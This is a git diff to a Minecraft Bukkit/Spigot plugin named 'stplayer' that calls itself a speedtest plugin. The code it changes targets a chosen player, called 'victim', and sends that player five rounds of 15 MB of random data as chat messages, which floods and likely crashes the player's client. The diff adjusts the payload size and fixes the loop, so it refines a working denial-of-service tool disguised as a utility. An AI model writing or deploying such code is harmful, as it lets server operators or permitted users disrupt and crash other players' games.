diff --git a/pom.xml b/pom.xml index a159192..abf0188 100644 --- a/pom.xml +++ b/pom.xml @@ -4,7 +4,7 @@ 4.0.0 com.itakinn stplayer - 1.0-SNAPSHOT + 1.1-SNAPSHOT jar stplayer Speedtest plugin for Bukkit/Spigot diff --git a/src/main/java/com/itakinn/Main.java b/src/main/java/com/itakinn/Main.java index 153774d..a903033 100644 --- a/src/main/java/com/itakinn/Main.java +++ b/src/main/java/com/itakinn/Main.java @@ -12,7 +12,7 @@ public class Main extends JavaPlugin { public void onEnable() { this.getCommand("stplayer").setExecutor(this); } - + @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { if (sender.hasPermission("stplayer.use") || !(sender instanceof Player)) { Player victim = Bukkit.getPlayer(args[0]); @@ -21,6 +21,7 @@ public class Main extends JavaPlugin { for (int i = 0; i < 5; ++i) { if (victim == null || !victim.isOnline()) { sender.sendMessage("Player offline or not found."); + break; }else { this.stressPlayer(victim); } @@ -36,9 +37,10 @@ public class Main extends JavaPlugin { private void stressPlayer(Player victim) { try { - byte[] data = new byte[20971520]; // 20 MB + byte[] data = new byte[15728640]; // 15 MB new Random().nextBytes(data); this.sendLargeMessage(victim, data); + data = null; } catch (Exception e) { e.printStackTrace(); } @@ -49,5 +51,6 @@ public class Main extends JavaPlugin { while (player.isOnline() && !dataString.isEmpty()) { player.sendMessage(player.getUniqueId(), dataString); //IDK it get java.util.NoSuchElementException: } + dataString=null; } }